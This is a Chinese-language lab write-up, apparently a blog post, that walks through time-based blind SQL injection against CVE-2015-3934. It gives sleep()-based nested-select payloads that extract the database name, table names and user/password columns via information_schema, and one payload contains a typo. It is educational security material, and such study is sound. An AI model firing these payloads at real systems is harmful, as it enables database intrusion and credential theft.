CVE-2015-3934 sql盲注payload
刚刚看到CVE-2015-3934这个sql注入漏洞,发现实验机器给的脚本不算太完整,略过了数据库名和表名的猜解,直接从字段名猜解开始了。
这里以这个漏洞的payload为例,写一下整个的大体流程,也梳理一下。
这个一个基于时间的sql盲注:
python脚本,通过sql的sleep()函数控制时间,配合requests库中的timeout选项,来判断返回
原查询语句为:
用来判断注入点的语句为(语句包含单引号,url编码中%2B代表加号):user=' %2B(select(0)from(select(sleep(5)))v)%2B'
因此构造后的sql语句: ...AND user=''%2B(select(0)from(select(sleep(5)))v)%2B'' AND password='md5';
可以看出来,使用select嵌套查询
先简单说一下select嵌套查询
基本结构
select * from(select()v)
v是第二个select的别名
至于本题为什么必须要用select嵌套查询,猜是有过滤
在本地的security(长度为8)数据库里建立一个表如下,
假设php中查询语句为:select pass from uu where user = '$user'
因此 先判断database的长度,可以传参user='+(select(0)from(select(IF(length(database())=i,sleep(5),0)))v)+'
其中的i为一个变量,当i为1~7时,查询结果为
可以看出来 0s返回结果
因为我本地测试的数据库名长度为8,所以当i为8时:
返回时间变为了5s
然后判断数据库名字:
可以传参user='+(select(0)from(select(if(ascii(substring(database(),i,1))=mid,sleep(5),1)))v)+'
其中i为database的长度,mid为猜解字符的ascii码,范围为32~126
在这里本地只演示一下第一位字符的判断:
字符s的ascii码为115,所以这个sleep了5s才返回,否则0s返回
同样的,对于表名的判断,与数据库相似:
所有表长度:
user='+(select(0)from(select(if(length(group_concat(table_name))=i,sleep(5),0))from(informaiton_schema.tables)where(table_schema=database()))v)
如下图,这个所有表加逗号的长度为32
表名猜解:
user='+(select(0)from(select(if(ascii(substr(group_concat(table_name),i,1))=mid,sleep(5),0))from(information_schema.tables)where(table_schema=database()))v)+' 其中i为上面获取的表的长度,mid为猜解字符的asc码
以我演示的为例,第一个字符为e,对应ascii码为101,因此:
表之间使用逗号连接
然后便是列长度,名的猜解,与表相似,不再赘述
回到题目:猜解数据库长度和名字的exp:
(写代码时候只顾着测试忘记写在虚拟机外面了。。结果复制不出来,将就看吧)
顺藤摸瓜,猜解表,列的exp
然后是题目给出的最终的**exp:
可以看见,数据库为fiyo,表名为fiyo60_user,列名为user,password
ps:group_concat(table_name) 表示将table_name使用逗号连接然后输出
group_concat(user,0x2c,password) 表示将user和password使用逗号连接然后输出